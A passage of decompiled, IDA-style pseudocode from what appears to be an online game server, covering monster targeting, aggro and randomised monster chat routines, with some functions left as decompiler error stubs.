8) + 40))()) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v10 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v10 + 8)) ) *(_DWORD *)(*(_DWORD *)v10 + 12) = 0; else vC = 0; } else { if ( v4 < v3->baseclass_0.l_MaxSize && (v15 = v3->baseclass_0.l_Array, v16 = v15[v4].ls_IsActiv, v17 = (int)&v15[v4], v16) ) v18 = *(_DWORD *)v17; else v18 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v18 + 8) + 1000))(231) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v19 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v19 + 8)) ) v20 = *(_DWORD *)v19; else v20 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v20 + 8) + 1000))(605) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v21 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v21 + 8)) ) v22 = *(_DWORD *)v21; else v22 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v22 + 8) + 1000))(238) ) { v23 = v3->baseclass_0.l_MaxSize; if ( v4 < v23 && (v24 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v24 + 8)) ) v25 = *(_DWORD *)v24; else v25 = 0; v26 = *(_DWORD *)(v25 + 12); if ( v26 > maxaggro ) { maxaggro = v26; if ( v4 >= v23 || (v27 = (int)&v3->baseclass_0.l_Array[v4], !*(_BYTE *)(v27 + 8)) ) goto LABEL_2; mtb = *(MobTargetStruct **)v27; } } } } } } if ( mtb ) { v30->baseclass_0.mts_Current.target = mtb; } else { v30->baseclass_0.mts_Current.target = (MobTargetStruct *)&mobtargeteraser; v30->baseclass_0.mts_Current.distsquar = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mt_SelectTarget"); } //----- (00498670) -------------------------------------------------------- #error "498670: undefined or illegal type '#593' (funcsize=326)" //----- (00498A70) -------------------------------------------------------- #error "498A70: undefined or illegal type '#593' (funcsize=324)" //----- (00498E80) -------------------------------------------------------- void __thiscall MobTargetBout::mts_AggroClear(MobTargetBout *this) { MobTargetBout *v1; // esi@1 List *v2; // ecx@1 ListIteratorDefault arg; // [sp+8h] [bp-14h]@1 List *v4; // [sp+Ch] [bp-10h]@1 int v5; // [sp+18h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mts_AggroClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mts_AggroClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (List *)v1->mtb_targetlist; v5 = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v4 = v2; LOBYTE(v5) = 1; List::l_4AllInList(v2, &arg); --funcallanalizer.fca_stackpoint; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mts_AggroClear"); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00498F40) -------------------------------------------------------- #error "498F40: undefined or illegal type '#593' (funcsize=136)" //----- (00499130) -------------------------------------------------------- #error "499130: undefined or illegal type '#593' (funcsize=270)" //----- (00499490) -------------------------------------------------------- #error "499490: undefined or illegal type '#593' (funcsize=49)" //----- (00499570) -------------------------------------------------------- #error "499570: undefined or illegal type '#593' (funcsize=97)" //----- (00499680) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::so_mob_CanMyTarget(void *this, int a2, int a3) { void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // edi@2 int v6; // edi@2 void *result; // eax@2 SkillDataBox::SkillDataIndex *v8; // eax@3 signed int v9; // ebx@4 ABSTATEINDEX *v10; // edi@4 int v11; // esi@10 char *v12; // [sp-4h] [bp-24h]@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(a2 + 8) + 12 * a3; switch ( *(_DWORD *)(*(_DWORD *)v4 + 81) ) { case 1: v5 = (unsigned int)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1260))(v3) >> 1; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1252))(v3) < v5 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); result = (void *)v6; break; case 2: v8 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v4 + 4)); if ( !v8 ) goto LABEL_11; v9 = 0; v10 = (ABSTATEINDEX *)v8->sdi_Abstate; while ( *v10 == 609 || AbnormalStateContainer::AbstateListInObject::asl_IsDuringEnchant( (AbnormalStateContainer::AbstateListInObject *)((char *)v3 + 296), *v10) ) { ++v9; v10 += 3; if ( v9 >= 4 ) { v12 = "ShineObjectClass::ShineMob::so_mob_CanMyTarget"; goto LABEL_12; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); result = v3; break; case 4: v11 = AbnormalStateContainer::AbstateListInObject::asl_IsHereBad((AbnormalStateContainer::AbstateListInObject *)((char *)v3 + 296)) != 0 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); result = (void *)v11; break; default: LABEL_11: v12 = "ShineObjectClass::ShineMob::so_mob_CanMyTarget"; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); result = 0; break; } return result; } //----- (00499850) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::so_ply_CanMyTarget(void *this, int a2, int mobindex) { void *v3; // esi@1 int v4; // edx@1 void *result; // eax@2 int v6; // edi@3 char v7; // bl@4 char v8; // al@4 FunctionEntarance *v9; // ecx@4 char v10; // bl@6 char v11; // al@6 char v12; // bl@8 SkillDataBox::SkillDataIndex *v13; // eax@9 signed int v14; // ebx@12 ABSTATEINDEX *v15; // edi@12 char v16; // bl@17 char v17; // al@17 AbnormalStateContainer::AbstateListInObject *v18; // ecx@17 char v19; // al@18 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v21; // [sp+18h] [bp-4h]@1 int v22; // [sp+20h] [bp+4h]@3 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)v3; v21 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v4 + 1228))(v3) == 4 ) { --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); result = 0; } else { v6 = a2; v22 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1796))(a2); switch ( *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v22 + 8) + 12 * mobindex) + 81) ) { case 0: v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 3544))(v6); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 3544))(v3); v9 = &_; v21 = -1; if ( v8 == v7 ) goto LABEL_11; FunctionEntarance::_FunctionEntarance(&_); result = v3; break; case 1: v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 3544))(v6); v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 3544))(v3); v9 = &_; v21 = -1; if ( v11 != v10 ) goto LABEL_11; FunctionEntarance::_FunctionEntarance(&_); result = v3; break; case 2: v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 3544))(v6); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 3544))(v3) == v12 || (v13 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(*(_DWORD *)(v22 + 8) + 12 * mobindex + 4))) == 0 ) { v21 = -1; v9 = &_; LABEL_11: FunctionEntarance::_FunctionEntarance(v9); goto LABEL_24; } v14 = 0; v15 = (ABSTATEINDEX *)v13->sdi_Abstate; while ( *v15 == 609 || AbnormalStateContainer::AbstateListInObject::asl_IsDuringEnchant( (AbnormalStateContainer::AbstateListInObject *)((char *)v3 + 296), *v15) ) { ++v14; v15 += 3; if ( v14 >= 4 ) { v21 = -1; goto LABEL_23; } } goto LABEL_20; case 4: v16 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 3544))(v6); v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 3544))(v3); v18 = (AbnormalStateContainer::AbstateListInObject *)((char *)v3 + 296); if ( v17 == v16 ) v19 = AbnormalStateContainer::AbstateListInObject::asl_IsHereBad(v18); else v19 = AbnormalStateContainer::AbstateListInObject::asl_IsHereGood(v18); v3 = (void *)(v19 != 0 ? (int)v3 : 0); LABEL_20: v21 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v3; break; default: v21 = -1; LABEL_23: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); LABEL_24: result = 0; break; } } return result; } //----- (00499AC0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::so_ply_CanMyTarget(void *this, int a2, int weaponnum) { void *v3; // esi@1 signed int v4; // ebx@1 int v5; // eax@1 SkillDataBox::SkillDataIndex *v7; // eax@4 ABSTATEINDEX *v8; // edi@5 char *v9; // [sp-4h] [bp-24h]@2 char *v10; // [sp-4h] [bp-24h]@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v5 = *(_DWORD *)((*(int (**)(void))(*(_DWORD *)a2 + 1796))() + 8) + 12 * weaponnum; switch ( *(_DWORD *)(*(_DWORD *)v5 + 81) ) { case 0: goto $L167354; case 2: v7 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v5 + 4)); if ( !v7 ) goto $L167351; v8 = (ABSTATEINDEX *)v7->sdi_Abstate; break; case 4: v3 = (void *)(AbnormalStateContainer::AbstateListInObject::asl_IsHereGood((AbnormalStateContainer::AbstateListInObject *)((char *)v3 + 296)) != 0 ? (int)v3 : 0); $L167354: v9 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; goto LABEL_3; default: $L167351: v10 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; goto LABEL_13; } do { if ( *v8 != 609 && !AbnormalStateContainer::AbstateListInObject::asl_IsDuringEnchant( (AbnormalStateContainer::AbstateListInObject *)((char *)v3 + 296), *v8) ) { v9 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; LABEL_3: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); return v3; } ++v4; v8 += 3; } while ( v4 < 4 ); v10 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; LABEL_13: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return 0; } //----- (00499C20) -------------------------------------------------------- int __thiscall MobDataBox::operator int(MobDataBox *this) { return this->mdb_maxmobhandle + 1; } //----- (00499C30) -------------------------------------------------------- unsigned int __thiscall MobChat::MobChatElementBase::mceb_MobChatInterval(MobChat::MobChatElementBase *this) { return 1000000000; } //----- (00499C40) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::MobChatManager(MobChat::MobChatManager *this) { this->mcm_Default.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElementBase::_vftable_; } // 64BB3C: using guessed type int (*MobChat__MobChatElementBase___vftable_)(); //----- (00499C50) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_WanderChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_WanderChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_WanderChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1796))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Wander[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_WanderChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_WanderChat"); } // 499C50: inconsistent function type and number of purged bytes //----- (00499D10) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_AttackChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_AttackChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_AttackChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1796))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Attack[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_AttackChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_AttackChat"); } // 499D10: inconsistent function type and number of purged bytes //----- (00499DD0) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_DamageChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_DamageChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_DamageChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1796))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Damage[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_DamageChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_DamageChat"); } // 499DD0: inconsistent function type and number of purged bytes //----- (00499E90) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_KilledChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_KilledChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_KilledChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1796))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Killed[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_KilledChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_KilledChat"); } // 499E90: inconsistent function type and number of purged bytes //----- (00499F50) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_HelpReqChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpReqChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_HelpReqChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1796))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_HelpReq[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_HelpReqChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpReqChat"); } // 499F50: inconsistent function type and number of purged bytes //----- (0049A010) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_HelpAckChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpAckChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_HelpAckChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1796))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_HelpAck[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_HelpAckChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpAckChat"); } // 49A010: inconsistent function type and number of purged bytes //----- (0049A0D0) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_DetectBattleChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatManager::mcm_DetectBattleChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_DetectBattleChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1796))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_DetectBattle[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_DetectBattleChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_DetectBattleChat"); } // 49A0D0: inconsistent function type and number of purged bytes //----- (0049A190) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::MobChatElement(MobChat::MobChatElement *this, MobChat::MobChatRecord *rec) { MobChat::MobChatElement *v2; // eax@1 int v3; // ecx@3 v2 = this; this->baseclass_0.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElement::_vftable_; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[12] = 0i64; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[4] = 0i64; *(_DWORD *)&this->mce_Record.mobindex.ort_Name[0] = 0; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[0] = *(_QWORD *)&rec->mobindex.ort_Name[0]; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[8] = *(_QWORD *)&rec->mobindex.ort_Name[8]; *(_DWORD *)&this->mce_Record.mobindex.ort_Name[16] = *(_DWORD *)&rec->mobindex.ort_Name[16]; this->mce_Record.rate0 = rec->rate0; this->mce_Record.rate1 = rec->rate1; memcpy(&this->mce_Record.script, &rec->script, sizeof(this->mce_Record.script)); this->mce_Number = 0; do { if ( v2->mce_Record.script.str.script0[65 * v2->mce_Number] == 45 ) break; v3 = v2->mce_Number + 1; v2->mce_Number = v3; } while ( v3 < 4 ); } // 64BC84: using guessed type int (*MobChat__MobChatElement___vftable_)(); //----- (0049A220) -------------------------------------------------------- void __thiscall MobChat::MobChatElementWander::MobChatElementWander(MobChat::MobChatElementWander *this, MobChat::MobChatRecord *rec) { MobChat::MobChatElementWander *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 int v5; // edx@2 v2 = this; MobChat::MobChatElement::MobChatElement(&this->baseclass_0, rec); v3 = v2->baseclass_0.mce_Record.rate1 - v2->baseclass_0.mce_Record.rate0; v2->baseclass_0.baseclass_0.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElementWander::_vftable_; v2->mcew_Dice = v3; v2->mcew_Roll = 1; if ( v3 >= 100 ) { do { v4 = v2->mcew_Dice / 2; v5 = 2 * v2->mcew_Roll; v2->mcew_Dice = v4; v2->mcew_Roll = v5; } while ( v4 >= 100 ); } } // 64BCA4: using guessed type int (*MobChat__MobChatElementWander___vftable_)(); //----- (0049A280) -------------------------------------------------------- unsigned int __thiscall MobChat::MobChatElementWander::mceb_MobChatInterval(MobChat::MobChatElementWander *this) { MobChat::MobChatElementWander *v1; // edi@1 int v2; // ecx@1 unsigned int result; // eax@2 unsigned int v4; // eax@3 char *v5; // ecx@5 int v6; // eax@5 unsigned __int16 v7; // ax@5 unsigned int v8; // esi@7 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_MobChatInterval"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElementWander::mceb_MobChatInterval"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( v1->baseclass_0.mce_Number ) { v4 = v1->mcew_Dice; if ( v4 && v4 <= 0x64 ) { v5 = (char *)&rndbox + 32776 * v4; v6 = *((_DWORD *)v5 + 8193) & (*((_DWORD *)v5 + 8192) + 1); *((_DWORD *)v5 + 8192) = v6; v7 = *(_WORD *)&v5[2 * v6]; } else { v7 = 0; } v8 = v1->baseclass_0.mce_Record.rate0 + v1->mcew_Roll * v7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_MobChatInterval"); result = v8; } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_MobChatInterval"); result = 1000000000; } return result; } //----- (0049A390) -------------------------------------------------------- void __thiscall MobChat::MobChatElementWander::mceb_WanderChat(MobChat::MobChatElementWander *this) { MobChat::MobChatElementWander *v1; // esi@1 unsigned int v2; // eax@1 char *v3; // eax@4 int v4; // ecx@4 unsigned __int16 v5; // ax@4 int v6; // edx@6 int v7; // eax@6 int v8; // esi@6 char v9; // cl@7 int v10; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_WanderChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElementWander::mceb_WanderChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->baseclass_0.mce_Number; if ( v2 ) { if ( v2 && v2 <= 0x64 ) { v3 = (char *)&rndbox + 32776 * v2; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; v5 = *(_WORD *)&v3[2 * v4]; } else { v5 = 0; } v6 = (int)((char *)&v1->baseclass_0.mce_Record.script + 65 * v5); v7 = (int)((char *)&v1->baseclass_0.mce_Record.script + 65 * v5); v8 = v7 + 1; do v9 = *(_BYTE *)v7++; while ( v9 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v10 + 1324))(65535, v6, v7 - v8, 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_WanderChat"); } // 49A390: inconsistent function type and number of purged bytes //----- (0049A490) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_AttackChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_AttackChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_AttackChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1324))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_AttackChat"); } // 49A490: inconsistent function type and number of purged bytes //----- (0049A5E0) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_DamageChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_DamageChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_DamageChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 